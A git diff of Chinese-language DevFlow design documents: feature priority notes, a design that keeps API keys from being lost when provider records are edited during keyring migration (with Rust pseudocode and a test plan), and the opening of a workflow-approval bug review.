| **可行性** | **复用**: `df-project` Git/路径扫描 + Decision 实体 + `df-ai` 路由 + df-nodes agent 抽象。**新造**: 债务探测器 agent + 偿还优先级算法。**注意**: agent 跨文件推理判断"前提失效"可靠性存疑,"纯 agent 编排"低估了质量风险 |
|
||||||
|
| **落地关键** | 债务类型分类 + 探测 agent + **偿还优先级算法(未定义,核心难点)** |
|
||||||
|
|
||||||
|
**⚠️ 难点与风险**
|
||||||
|
- **依赖多项目基础(未就绪)**: 价值高度依赖"一人维护多项目"场景,而 devflow 当前单项目/本地优先,导入历史项目(todo)未做。**时序倒置**
|
||||||
|
- agent 跨文件推理可靠性: 误判"前提失效"会误报,误报泛滥 → 用户关闭
|
||||||
|
- 偿还优先级算法无现成方案,需自设计
|
||||||
|
|
||||||
|
**💀 失败模式**: agent 误报泛滥 → 用户关闭功能;或单项目场景下债务量不足以体现价值。
|
||||||
|
|
||||||
|
### 5. 决策回归守护(Decision Regression Guard) 💡待评估
|
||||||
|
|
||||||
|
| 维度 | 内容 |
|
||||||
|
|---|---|
|
||||||
|
| **核心** | 关键决策绑定可执行验证契约("选 A 因性能优" → 绑性能基准脚本)。代码变更触及相关模块(Git diff 关联)时守护自动重跑;契约失败 = 决策失效,阻断发布或报警 |
|
||||||
|
| **独创** | **中(降级)**: 实现机制等同测试(跑脚本验证断言),差异仅在断言语义来源(决策 vs 需求)。准确定位为"**决策驱动的测试生成**" —— 独创点在从决策自动生成守护测试,非守护机制本身 |
|
||||||
|
| **价值** | 解决"决策当初对、后来悄悄变错"的隐患 |
|
||||||
|
| **可行性** | **复用**: `df-workflow` DAG + `df-execute` 脚本执行 + Decision 实体 + Git diff。**新造**: 契约绑定语法 + 守护触发节点。**注意**: 审批(事前)与守护(事后持续)机制不同,Wave5 审批基座未必直接复用为持续触发 |
|
||||||
|
| **落地关键** | 契约绑定语法 + Git diff 关联触发 + 失效阻断策略 |
|
||||||
|
|
||||||
|
**⚠️ 难点与风险**
|
||||||
|
- **与创意 4 争抢 Decision 实体扩展**: 4 要腐化审计标记,5 要 `guard_contract` 字段。若都做需先定义 Decision 统一扩展模型
|
||||||
|
- 从决策文本自动生成有意义的守护测试,LLM 生成质量是瓶颈
|
||||||
|
- "代码变更触及相关模块"的关联判定(Git diff → Decision)需决策到代码的映射,无现成方案
|
||||||
|
|
||||||
|
**💀 失败模式**: LLM 生成的守护测试无意义/假通过 → 守护形同虚设;或关联判定不准 → 该触发没触发。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 四、优先级建议
|
||||||
|
|
||||||
|
| 创意 | 落地难度 | 独创性 | 依赖 | 建议 |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| 1 想法演化图谱 | 低 | 中 | 无 | **⭐首选评估**: 改动最局限(df-ideas)、依赖最少,但先解"关系谁来建"漏洞 |
|
||||||
|
| 2 灵感孵化器 | 中 | 中 | 依赖 1 的演化关系字段 | 与 1 有依赖非并行;独立做需砍"演化关联"触发器 |
|
||||||
|
| 5 决策回归守护 | 中 | 中 | 与 4 争 Decision 扩展 | 决策驱动测试生成,待 LLM 生成质量成熟 |
|
||||||
|
| 4 上下文债务追踪 | 中高 | 中高 | 依赖多项目基础(未就绪) | 价值高但**时序靠后** —— 等"导入历史项目"做完 |
|
||||||
|
| 3 执行回放 | 高 | 中 | 副作用处理/存储成本 | 工作量最大,后置;独创点重定位为决策级回放 |
|
||||||
|
|
||||||
|
**首选变更说明**: 原⭐推荐创意 4,自审后发现三理由均打折(痛点依赖多项目/无需新基建被高估/差异化因与规格契约自检重叠而削弱),且依赖未就绪的"导入历史项目"基础,**降级**。首选改**创意 1** —— 改动最局限、依赖最少,但须先解决「演化关系建立机制」核心漏洞。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 五、后期跟进入口
|
||||||
|
|
||||||
|
1. 选一个创意(**首选 1 演化图谱**,先解关系建立机制;4 债务追踪价值最高,但等"导入历史项目"基础就绪)
|
||||||
|
2. 走 devflow 自身评估链: df-ideas 对抗评估(启发式 → LLM)
|
||||||
|
3. 评估通过 → 立 `<主题>-concept.md` → 进 todo
|
||||||
|
4. 本池对应创意状态改为 `📐待设计`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**相关**: [想法探索-对抗式评估](../03-模块文档/想法探索-对抗式评估-2026-06-12.md) · [任务推进构想](任务推进构想-2026-06-14.md) · [规格契约自检机制](规格契约自检机制-2026-06-14.md)
|
||||||
343
docs/02-架构设计/密钥迁移健壮性-2026-06-15.md
Normal file
343
docs/02-架构设计/密钥迁移健壮性-2026-06-15.md
Normal file
@@ -0,0 +1,343 @@
|
|||||||
|
# 密钥迁移健壮性设计
|
||||||
|
|
||||||
|
> **真相源**(本文档唯一展开完整设计)。功能决策记录仅放摘要 + 指针。
|
||||||
|
>
|
||||||
|
> 背景:R-PD-1(全局代码 review 2026-06-15 §🔴 P1 需设计)— 编辑 provider 提交空 `api_key` 时,无条件把 DB `api_key` 置空走 `INSERT OR REPLACE`,**未迁移态** provider 的明文密钥被静默覆盖成空 → keyring 也空 → resolve 返空 → provider 报废,密钥永久丢失。
|
||||||
|
> 状态:📐 **设计完成,未实施** | 创建:2026-06-15 | 来源:全局代码 review 2026-06-15
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一、问题复现:精确触发条件
|
||||||
|
|
||||||
|
### 1.1 触发链路
|
||||||
|
|
||||||
|
前置条件(**未迁移态**):
|
||||||
|
- 历史 DB:`ai_providers.api_key` 列存有明文密钥(FR-S1 之前的老数据)。
|
||||||
|
- keyring:对应 `provider_id` 无 entry(迁移未成功,或启动迁移被跳过/失败)。
|
||||||
|
- 即「DB 有明文、keyring 空」的双源不一致态。
|
||||||
|
|
||||||
|
操作:
|
||||||
|
1. 用户进入「设置 → 提供商」,点编辑某 provider。
|
||||||
|
2. 仅修改 `name` / `base_url`(**不重新填 `api_key`**)。
|
||||||
|
3. 前端按约定把空 `api_key` 字段传给 IPC(约定:空 = 不改密钥)。
|
||||||
|
4. 后端 `ai_save_provider` 命中空 `api_key` 分支 → 不写 keyring → `record.api_key = String::new()` → `INSERT OR REPLACE` 全字段覆盖。
|
||||||
|
|
||||||
|
### 1.2 keyring / DB 状态时序
|
||||||
|
|
||||||
|
```
|
||||||
|
DB.api_key keyring
|
||||||
|
─────────────────────────────────────────────
|
||||||
|
T0 初始(老明文) "sk-real" (空)
|
||||||
|
T1 编辑提交空 key → commands.rs:334 record.api_key=String::new()
|
||||||
|
T2 INSERT OR REPLACE "sk-real" 覆盖为 "" (仍空)
|
||||||
|
T3 resolve_provider_secret
|
||||||
|
record.api_key 空 → fallback keyring → 仍空
|
||||||
|
T4 build_provider_for → ensure_resolved_key → Err「未读取到密钥」
|
||||||
|
T5 provider 报废,密钥永久丢失(无任何日志/提示)
|
||||||
|
```
|
||||||
|
|
||||||
|
**关键坏点**:T0→T2 的「DB 有明文」这个唯一存活副本被无条件清空。一旦清空,DB 和 keyring 同时空,**无任何兜底**——`resolve_provider_secret`(secret.rs:30-35)先看 DB、再看 keyring,两源都空就返空串。
|
||||||
|
|
||||||
|
### 1.3 为什么 R-PD-1 比 CR-01 严重
|
||||||
|
|
||||||
|
| 项 | CR-01(已修) | R-PD-1(本设计) |
|
||||||
|
|---|---|---|
|
||||||
|
| 触发 | 删 provider 漏清 keyring | 编辑 provider 不改 key |
|
||||||
|
| 后果 | keyring 残留(无消费方,不可复活) | **密钥永久丢失,provider 报废** |
|
||||||
|
| 可逆性 | 残留可后续清,无危害 | **不可逆**——明文唯一副本被覆盖成空 |
|
||||||
|
| 用户感知 | 无 | 静默丢失,下次调用 401/空密钥错才暴露 |
|
||||||
|
|
||||||
|
CR-01 是「清理时机」问题(残留不可复活),R-PD-1 是「明文副本被毁」问题(密钥丢失)——后者危害量级更高。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 二、根因
|
||||||
|
|
||||||
|
双根因叠加:
|
||||||
|
|
||||||
|
### 2.1 根因 A:`INSERT OR REPLACE` 全字段覆盖
|
||||||
|
|
||||||
|
`crud.rs:890-900` 的 `AiProviderRepo::insert` 用 `INSERT OR REPLACE INTO ai_providers (...api_key...) VALUES (...)` —— 编辑场景下 id 已存在,REPLACE 整行删除重建,**所有字段**(含 `api_key`)按传入值落库。即使本次只改 `name`,`api_key` 也被强写为 `record.api_key` 的值。
|
||||||
|
|
||||||
|
调用方 `ai_save_provider`(commands.rs:334)始终把 `record.api_key` 设为空串,于是无论是否改密钥,DB 明文都被清。
|
||||||
|
|
||||||
|
> 注:`update_full`(crud.rs:901-910)走 `UPDATE ... SET api_key = ?` 同样全字段覆盖,问题对称。当前 `ai_save_provider` 走的是 `insert`,但即便切到 `update_full` 也不解决——根因在调用方传的值,不在 SQL 形式。
|
||||||
|
|
||||||
|
### 2.2 根因 B:「空 api_key = 不改」约定二义性
|
||||||
|
|
||||||
|
commands.rs:326-334 的约定:
|
||||||
|
- `api_key` 非空 → 写 keyring(新/改密钥)
|
||||||
|
- `api_key` 空 → 不写 keyring,「保留原 keyring 密钥不动」
|
||||||
|
|
||||||
|
这套约定隐含假设:**「保留原密钥」就是保留 keyring 里的密钥**。但未迁移态下 keyring 根本没有密钥,真正的密钥副本在 DB 明文里。约定只 cover 了「迁移完成态」(DB 空、keyring 有),完全没考虑「未迁移态」(DB 有明文、keyring 空)。
|
||||||
|
|
||||||
|
「空 = 不改」这个三字符约定的语义其实是**「不要动密钥」**,但代码实现成了**「把 DB 明文也清空」**——后者在迁移完成态碰巧无害(DB 本来就空),在未迁移态就是数据丢失。**约定本身没错,错的是实现把「不改」落成了「清空唯一副本」。**
|
||||||
|
|
||||||
|
### 2.3 为什么启动迁移没兜住
|
||||||
|
|
||||||
|
`migrate_secrets_to_keyring`(secret.rs:50-72)在启动时跑一次:
|
||||||
|
- 成功:DB 明文 → keyring → DB 置空。完成后「未迁移态」消失。
|
||||||
|
- 失败:`warn` 日志 + `continue`,**DB 明文保留**(设计意图:「下次重试」)。
|
||||||
|
|
||||||
|
正是「失败保留明文」这条安全网,制造了「未迁移态」长期存在的可能:keyring 写入失败(权限/锁定/平台差异)→ 明文滞留 DB → 用户进来编辑 → R-PD-1 触发。**这条安全网本意是保住密钥,却被根因 A/B 在编辑路径上反向利用成密钥丢失入口。**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 三、方案对比
|
||||||
|
|
||||||
|
修复方向(review 给的指引):**空 `api_key` 时先确认 keyring 有/DB 有再决定清 DB——若 keyring 无且原 DB 非空,先 `set_provider_secret` 补迁再清 DB(即时迁移),保住密钥不丢。**
|
||||||
|
|
||||||
|
围绕这个方向,三个候选方案:
|
||||||
|
|
||||||
|
### 方案 A:编辑路径即时迁移(推荐)
|
||||||
|
|
||||||
|
`ai_save_provider` 空密钥分支前,加「保住密钥」前置:
|
||||||
|
1. 读原 DB 记录的 `api_key`(明文)。
|
||||||
|
2. 读 keyring 当前值。
|
||||||
|
3. 决策矩阵:
|
||||||
|
|
||||||
|
| DB 原值 | keyring 现值 | 动作 |
|
||||||
|
|---|---|---|
|
||||||
|
| 非空 | 非空 | 二者一致?以 keyring 为准,DB 清空(迁移完成态编辑,行为同现状) |
|
||||||
|
| 非空 | 空 | **即时迁移**:`set_provider_secret(DB 原值)` → 成功后 DB 清空;失败 → 报错阻断保存,**DB 明文不动** |
|
||||||
|
| 空 | 非空 | 已迁移态编辑,DB 保持空(现状) |
|
||||||
|
| 空 | 空 | 无密钥 provider(新建未填过 key),DB 保持空(现状) |
|
||||||
|
|
||||||
|
伪代码(commands.rs:328-355 改动):
|
||||||
|
|
||||||
|
```rust
|
||||||
|
let provider_id = id.clone().unwrap_or_else(new_id);
|
||||||
|
if !api_key.is_empty() {
|
||||||
|
// 显式改密钥:写 keyring(现状不变)
|
||||||
|
if let Err(e) = super::secret::set_provider_secret(&provider_id, &api_key) {
|
||||||
|
return Err(format!("密钥保存到系统钥匙串失败: {}", e));
|
||||||
|
}
|
||||||
|
} else if let Some(pid) = &id {
|
||||||
|
// 空 key 编辑:保住密钥,防未迁移态丢失
|
||||||
|
let old = state.ai_providers.get_by_id(pid).await
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
if let Some(old) = old {
|
||||||
|
if !old.api_key.is_empty() {
|
||||||
|
// DB 有明文 → 检查 keyring 是否已迁
|
||||||
|
if super::secret::get_provider_secret(pid).is_none() {
|
||||||
|
// keyring 空:即时迁移补密钥(失败则阻断保存,明文不动)
|
||||||
|
if let Err(e) = super::secret::set_provider_secret(pid, &old.api_key) {
|
||||||
|
return Err(format!(
|
||||||
|
"检测到密钥尚未迁移至系统钥匙串,本次保存尝试迁移失败: {}。\
|
||||||
|
已保留原密钥未改动,请重试或检查系统钥匙串权限后再次保存。",
|
||||||
|
e
|
||||||
|
));
|
||||||
|
}
|
||||||
|
tracing::info!("[FR-S1] 编辑路径即时迁移 provider {} 密钥至 keyring", pid);
|
||||||
|
}
|
||||||
|
// keyring 已有/迁移成功:DB 明文将在下方 INSERT OR REPLACE 清空(迁移完成)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let api_key = String::new(); // DB 恒空(真实密钥在 keyring)
|
||||||
|
let record = AiProviderRecord { /* ... */ };
|
||||||
|
```
|
||||||
|
|
||||||
|
**优点**:
|
||||||
|
- 保住密钥不丢(核心目标达成)。
|
||||||
|
- 顺带把「未迁移态」在编辑路径收敛到「迁移完成态」——用户每编辑一次,未迁移的 provider 自动补迁。
|
||||||
|
- 调用方局部改动,不动 crud.rs / 不改 IPC 契约 / 不改前端。
|
||||||
|
- 失败兜底明确:迁移失败直接 `Err` 阻断保存,**不会比现状更糟**(现状是静默丢失,这里至少明确报错 + 不动 DB)。
|
||||||
|
|
||||||
|
**缺点**:
|
||||||
|
- 即时迁移失败时阻断保存——用户改个 name 也保存不了。但这是**正确行为**:保存就意味着要清 DB 明文,密钥没保住之前清掉就是丢失,宁可阻断也不丢。
|
||||||
|
- 多一次 DB 读(`get_by_id`)——可接受(编辑本就低频,且 `ai_save_provider` 已读两次 `get_by_id` 取 `created_at`/`is_default`,再加一次读明文合理)。
|
||||||
|
|
||||||
|
### 方案 B:保留 DB 明文直到 keyring 确认成功
|
||||||
|
|
||||||
|
`ai_save_provider` 空密钥分支下,**不无条件清 DB**:若 keyring 无值,则 `record.api_key` 保留原 DB 明文,INSERT OR REPLACE 落库的还是明文;待启动迁移或下次显式改密钥时再清。
|
||||||
|
|
||||||
|
伪代码:
|
||||||
|
```rust
|
||||||
|
let api_key_for_db = if api_key.is_empty() {
|
||||||
|
// 编辑不改 key:若 keyring 无值,保留 DB 明文不动
|
||||||
|
let keyring_val = super::secret::get_provider_secret(&provider_id);
|
||||||
|
match (keyring_val, id.as_ref().and_then(|pid| /* 读旧 DB 明文 */)) {
|
||||||
|
(Some(_), _) => String::new(), // keyring 有 → DB 可空
|
||||||
|
(None, Some(plaintext)) => plaintext, // keyring 无 → 保留 DB 明文
|
||||||
|
(None, None) => String::new(), // 都无 → 新建无 key
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// 显式改 key:写 keyring,DB 空
|
||||||
|
/* set_provider_secret ... */
|
||||||
|
String::new()
|
||||||
|
};
|
||||||
|
let record = AiProviderRecord { api_key: api_key_for_db, /* ... */ };
|
||||||
|
```
|
||||||
|
|
||||||
|
**优点**:保住明文,不依赖即时迁移成功。
|
||||||
|
|
||||||
|
**缺点**:
|
||||||
|
- **DB 明文长期滞留**:与 FR-S1「DB api_key 列恒空」目标矛盾,恶化 R-PD-4(迁移失败明文滞留 SQLite 文件未加密)。
|
||||||
|
- 把「编辑不改 key」从「收敛到迁移完成态」变成「维持未迁移态」,方向反了——本应借编辑机会收敛,方案 B 反而固化未迁移态。
|
||||||
|
- 决策矩阵更绕(要协调「写 keyring 失败时回退 DB 明文」),引入新的不一致窗口(keyring 写一半失败、DB 仍明文、下次又来一遍)。
|
||||||
|
|
||||||
|
### 方案 C:显式迁移标志位
|
||||||
|
|
||||||
|
给 `AiProviderRecord` 加 `secret_migrated: bool` 列(或用 `config` JSON 存),空密钥分支下:
|
||||||
|
- 标志位 true → 已迁移,DB 清空安全。
|
||||||
|
- 标志位 false → 未迁移,DB 明文必须保留(或即时迁移)。
|
||||||
|
|
||||||
|
**优点**:状态显式可观测(不靠「DB 空 vs keyring 有」反推),排查友好。
|
||||||
|
|
||||||
|
**缺点**:
|
||||||
|
- **schema 演进成本**:加列要迁移历史库(ALTER TABLE / 默认值 / 向后兼容老客户端读不懂新列)。
|
||||||
|
- 三个真值源(标志位、DB 明文、keyring)比两个(DB 明文、keyring)更难保持一致——标志位忘更新又成新坑。
|
||||||
|
- 收益与复杂度不匹配:方案 A 用「keyring 有/DB 有」二元判定已经足够,标志位是过度设计。
|
||||||
|
- 与项目「务实最小改动」原则相悖。
|
||||||
|
|
||||||
|
### 方案取舍
|
||||||
|
|
||||||
|
| 维度 | A 即时迁移 | B 保留明文 | C 标志位 |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 密钥不丢 | ✅ | ✅ | ✅(靠 A/B 实现) |
|
||||||
|
| 收敛未迁移态 | ✅ 编辑即迁移 | ❌ 维持未迁移 | 取决于实现 |
|
||||||
|
| 改动面 | 局部(commands.rs) | 局部(commands.rs) | 大(schema + crud + 模型 + 迁移) |
|
||||||
|
| 与 FR-S1/R-PD-4 一致 | ✅ | ❌ 恶化明文滞留 | 中性 |
|
||||||
|
| 复杂度 | 低 | 中 | 高 |
|
||||||
|
|
||||||
|
**推荐方案 A**:最小局部改动达成核心目标(密钥不丢),顺带收敛未迁移态,与 FR-S1 方向一致,失败兜底明确不劣化现状。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 四、推荐方案 A:改动清单
|
||||||
|
|
||||||
|
### 4.1 改动文件
|
||||||
|
|
||||||
|
| 文件 | 改动 | 行号(截至 2026-06-15) |
|
||||||
|
|---|---|---|
|
||||||
|
| `src-tauri/src/commands/ai/commands.rs` | `ai_save_provider` 空密钥分支前加「保住密钥」前置(即时迁移) | 328-334(在 `let provider_id = ...` 与 `let api_key = String::new()` 之间插入) |
|
||||||
|
|
||||||
|
**不改动**:
|
||||||
|
- `crates/df-storage/src/crud.rs` —— `INSERT OR REPLACE` 全字段覆盖是 storage 层中性能力,根因在调用方传值;改 SQL 反而把「保留密钥」语义下推到 storage(不该 storage 关心密钥迁移)。
|
||||||
|
- `src-tauri/src/commands/ai/secret.rs` —— `set/get_provider_secret` 已具备所需能力,复用即可,无需新方法。
|
||||||
|
- IPC 签名 / 前端 / DB schema —— 全部不动。
|
||||||
|
|
||||||
|
### 4.2 改动伪代码(完整版)
|
||||||
|
|
||||||
|
`commands.rs:328` 处(原代码):
|
||||||
|
|
||||||
|
```rust
|
||||||
|
let provider_id = id.clone().unwrap_or_else(new_id);
|
||||||
|
if !api_key.is_empty() {
|
||||||
|
if let Err(e) = super::secret::set_provider_secret(&provider_id, &api_key) {
|
||||||
|
return Err(format!("密钥保存到系统钥匙串失败: {}", e));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let api_key = String::new(); // DB 恒空(真实密钥在 keyring)
|
||||||
|
```
|
||||||
|
|
||||||
|
改为:
|
||||||
|
|
||||||
|
```rust
|
||||||
|
let provider_id = id.clone().unwrap_or_else(new_id);
|
||||||
|
if !api_key.is_empty() {
|
||||||
|
// 显式改/填密钥 → 写 keyring(现状不变)
|
||||||
|
if let Err(e) = super::secret::set_provider_secret(&provider_id, &api_key) {
|
||||||
|
return Err(format!("密钥保存到系统钥匙串失败: {}", e));
|
||||||
|
}
|
||||||
|
} else if let Some(pid) = &id {
|
||||||
|
// 空 key 编辑:保住密钥,防未迁移态静默丢失(R-PD-1)
|
||||||
|
let old = state.ai_providers.get_by_id(pid).await
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
|
if let Some(old) = old {
|
||||||
|
if !old.api_key.is_empty()
|
||||||
|
&& super::secret::get_provider_secret(pid).is_none()
|
||||||
|
{
|
||||||
|
// DB 有明文 且 keyring 无 → 即时迁移补密钥
|
||||||
|
if let Err(e) = super::secret::set_provider_secret(pid, &old.api_key) {
|
||||||
|
return Err(format!(
|
||||||
|
"检测到该提供商密钥尚未迁移至系统钥匙串,本次保存尝试即时迁移失败({})。\
|
||||||
|
已保留原密钥未改动——请检查系统钥匙串权限后再次保存。",
|
||||||
|
e
|
||||||
|
));
|
||||||
|
}
|
||||||
|
tracing::info!(
|
||||||
|
"[FR-S1] 编辑路径即时迁移 provider {} 密钥至 keyring(R-PD-1 兜底)",
|
||||||
|
pid
|
||||||
|
);
|
||||||
|
}
|
||||||
|
// else: keyring 已有 / DB 已空 → INSERT OR REPLACE 清空 DB 明文安全
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let api_key = String::new(); // DB 恒空(真实密钥在 keyring)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4.3 决策点
|
||||||
|
|
||||||
|
| 决策 | 取值 | 原因 |
|
||||||
|
|---|---|---|
|
||||||
|
| 即时迁移失败时 | `Err` 阻断保存,**DB 明文不动** | 保存即清 DB 明文,密钥没保住前清掉就是丢失;阻断 + 明确报错优于静默丢失 |
|
||||||
|
| 判定密钥源 | keyring 有 → 安全清;DB 有 + keyring 无 → 即时迁移;都无 → 新建无 key | 三状态全覆盖,无遗漏分支 |
|
||||||
|
| 迁移后是否额外校验 keyring 写入 | 不校验(信任 `set_provider_secret` 返回 Ok) | `set_provider_secret` 已是 keyring 写入的真相源,重复读 keyring 验证属过度防御 |
|
||||||
|
| 即时迁移的范围 | 仅编辑路径(`ai_save_provider` 空 key 分支) | 启动迁移 `migrate_secrets_to_keyring` 是批量兜底,编辑路径是单点收敛;两者互补不重叠 |
|
||||||
|
| 是否记日志 | 成功迁移记 `info`,失败走 `Err`(用户可见) | 成功迁移是状态收敛好事值得记;失败用户必须知道 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 五、风险与兜底
|
||||||
|
|
||||||
|
### 5.1 即时迁移失败时的兜底
|
||||||
|
|
||||||
|
即时迁移失败(keyring 权限/锁定/平台问题)→ 函数 `return Err` → **DB 明文保留不变**(INSERT OR REPLACE 未执行)。
|
||||||
|
|
||||||
|
- 用户看到:明确错误「即时迁移失败,请检查钥匙串权限后再次保存」。
|
||||||
|
- 系统状态:与保存前完全一致(DB 明文还在,keyring 仍空,下次启动迁移或下次编辑还会再试)。
|
||||||
|
- **绝不劣化现状**:现状是静默丢失,本方案最坏是「保存失败 + 明确报错 + 状态不变」。
|
||||||
|
|
||||||
|
### 5.2 边界场景
|
||||||
|
|
||||||
|
| 场景 | 行为 |
|
||||||
|
|---|---|
|
||||||
|
| 编辑刚新建(id 不存在/无 old 记录) | `old = None` → 不进迁移分支 → DB 空(新建无 key 正常) |
|
||||||
|
| 编辑已迁移态(DB 空、keyring 有) | `old.api_key.is_empty()` → 不进迁移分支 → DB 保持空(现状) |
|
||||||
|
| 编辑已迁移态但 keyring 被外部清空 | DB 空 + keyring 空 → 不进迁移分支 → DB 保持空 → provider 早已报废(非本设计引入的新问题,属 R-PD-4 范畴) |
|
||||||
|
| 并发两次保存同一 provider | `get_by_id` 各读各的,INSERT OR REPLACE 串行化落库;最坏后写覆盖先写,密钥不丢(两者都迁成功或都报错) |
|
||||||
|
| 用户编辑同时填了新 api_key | 走 `!api_key.is_empty()` 显式分支,覆盖写 keyring(现状不变,不进即时迁移分支) |
|
||||||
|
|
||||||
|
### 5.3 不解决的问题(明确边界)
|
||||||
|
|
||||||
|
- **R-PD-4**(迁移失败明文长期滞留 SQLite 文件未加密):本方案不直接解决——即时迁移只是把「未迁移态」在编辑路径收敛,启动迁移失败仍会留下滞留明文。R-PD-4 走独立方向(补 N 次失败阈值警告),不在本设计范围。
|
||||||
|
- **provider 被外部清空 keyring 导致已迁移态变废**:本方案不感知外部 keyring 变更(编辑时读 keyring 是即时快照),属 keyring 健康监控范畴,不在本设计。
|
||||||
|
- **CR-01**(删 provider 漏清 keyring,已修):删除路径已加 `delete_provider_secret` 兜底,与本设计(编辑路径)正交。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 六、关联
|
||||||
|
|
||||||
|
- **全局代码 review 2026-06-15** §🔴 P1 R-PD-1 — 问题来源与本设计指针。
|
||||||
|
- **CR-260615-01 / CR-01**(已修):`ai_delete_provider` 删 provider 漏清 keyring → 已加 `delete_provider_secret` 兜底(commands.rs:397-399)。本设计是「编辑路径」的对称补丁,与「删除路径」构成密钥生命周期的两端健壮性。
|
||||||
|
- **R-PD-4**(P2 需设计):keyring 迁移失败明文滞留 SQLite 文件未加密 — 与本设计同源(启动迁移失败制造未迁移态),但治理方向不同(本设计收敛编辑路径,R-PD-4 加滞留告警)。两者互补。
|
||||||
|
- **FR-S1**(api_key 密钥管理):`secret.rs` 的 keyring 迁移机制(启动迁移 + resolve fallback + set/get/delete)是本设计依赖的基础设施。本方案在编辑路径补一个「即时迁移」单点,与启动批量迁移形成双层兜底。
|
||||||
|
- **migrate_secrets_to_keyring**(secret.rs:50-72):启动批量迁移,失败保留明文重试——本设计借编辑路径在用户操作时再做一次单点迁移,提升收敛率。
|
||||||
|
- **resolve_provider_secret**(secret.rs:30-35):DB 优先 fallback keyring 的双源 resolve,是「未迁移态」仍可用的原因;本方案收敛未迁移态后,resolve 路径长期看会稳定走 keyring 分支。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 七、测试设计
|
||||||
|
|
||||||
|
| 用例 | 方法 | 期望 |
|
||||||
|
|---|---|---|
|
||||||
|
| 未迁移态编辑不改 key → 即时迁移成功 | mock:DB 存明文 + keyring 空,调用 `ai_save_provider` 空 key 改 name | 迁移成功,keyring 写入明文,DB `api_key` 清空,函数返回 Ok(id) |
|
||||||
|
| 未迁移态编辑不改 key → 即时迁移失败 | mock:`set_provider_secret` 返回 Err,DB 存明文 | 函数返回 Err(含迁移失败提示),**DB `api_key` 明文保留不变**(核心兜底) |
|
||||||
|
| 已迁移态编辑不改 key | mock:DB 空 + keyring 有,调用空 key 编辑 | 不进迁移分支,DB 保持空,函数返回 Ok |
|
||||||
|
| 新建 provider 无 key | `id=None`,`api_key=""` | 不进迁移分支(无 old 记录),DB 空,返回 Ok |
|
||||||
|
| 显式改 key(非空 api_key) | 任意态,传非空 api_key | 走显式分支写 keyring,不进即时迁移分支(现状不变) |
|
||||||
|
| 已迁移态但 keyring 被外部清 + DB 也空 | mock:DB 空 + keyring 空 | 不进迁移分支,DB 保持空(provider 已废,非本设计引入) |
|
||||||
|
| 即时迁移后 resolve 正常 | 即时迁移成功后调 `resolve_provider_secret` | 返回非空密钥(迁移成功后 keyring 是唯一源) |
|
||||||
|
|
||||||
|
测试位置:`src-tauri/src/commands/ai/commands.rs` 的 `#[cfg(test)]` 模块(若现无则新增),mock `set/get_provider_secret`(可通过 trait 抽象 + 测试替身,或抽 secret 操作到可注入句柄)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**相关**:
|
||||||
|
- `docs/05-代码审查/全局代码review-2026-06-15.md` §🔴 P1 R-PD-1 — 问题来源
|
||||||
|
- `src-tauri/src/commands/ai/commands.rs:299-355` — `ai_save_provider` 实施位置
|
||||||
|
- `src-tauri/src/commands/ai/secret.rs` — keyring 迁移/resolve 基础设施
|
||||||
|
- `crates/df-storage/src/crud.rs:884-911` — `AiProviderRepo` insert/update_full(不改)
|
||||||
|
- 功能决策记录「密钥迁移健壮性」— 设计摘要(待补)
|
||||||
@@ -140,4 +140,4 @@
|
|||||||
|
|
||||||
> **方向有价值,形态要收敛。** "本地优先 + 任务分支驱动 + AI 辅助流程"是真空隙;"全流程操作系统"是幻觉。砍掉 60% 的功能不是失败,是论证的胜利——它们本来会消耗 6-9 个月却没人用。
|
> **方向有价值,形态要收敛。** "本地优先 + 任务分支驱动 + AI 辅助流程"是真空隙;"全流程操作系统"是幻觉。砍掉 60% 的功能不是失败,是论证的胜利——它们本来会消耗 6-9 个月却没人用。
|
||||||
>
|
>
|
||||||
> 同时,本次论证方法本身(三路对抗)被产品化为想法池的"对抗式评估"功能,详见 `docs/03-模块文档/想法探索-对抗式评估.md`。这是 DevFlow 吃自己的狗粮的第一个案例。
|
> 同时,本次论证方法本身(三路对抗)被产品化为想法池的"对抗式评估"功能,详见 `docs/03-模块文档/想法探索-对抗式评估-2026-06-12.md`。这是 DevFlow 吃自己的狗粮的第一个案例。
|
||||||
|
|||||||
129
docs/02-架构设计/工作流审批审查报告-2026-06-14.md
Normal file
129
docs/02-架构设计/工作流审批审查报告-2026-06-14.md
Normal file
@@ -0,0 +1,129 @@
|
|||||||
|
# 工作流审批子系统对抗审查报告
|
||||||
|
|
||||||
|
> 2026-06-14 · 多代理审查(31 agents / 5 维度 × 对抗验证) + 主代理独立复核 + 二轮对抗论证
|
||||||
|
> 范围: df-workflow/{executor,state,eventbus}.rs · df-nodes/human_node.rs · df-core/events.rs · src-tauri/{commands/workflow,state}.rs · src/stores/project.ts · src/api/{types,workflow}.ts · src/views/ProjectDetail.vue
|
||||||
|
> 方法: workflow fan-out 审查 → 每发现独立对抗验证(默认反驳) → 主代理读源码复核 criticals → 二轮对抗论证(存在性/可达性/危害三维)
|
||||||
|
|
||||||
|
## TL;DR
|
||||||
|
|
||||||
|
1. **头号 bug [P0 阻断]**: `human_node.rs:41` 发 `HumanApprovalRequest` 缺 `.await`。`EventBus::send` 是 async fn,`let _ = async_fn()` 丢弃 Future 未 poll → body 不执行 → **Request 从未进入 channel**。审批链最上游断裂。
|
||||||
|
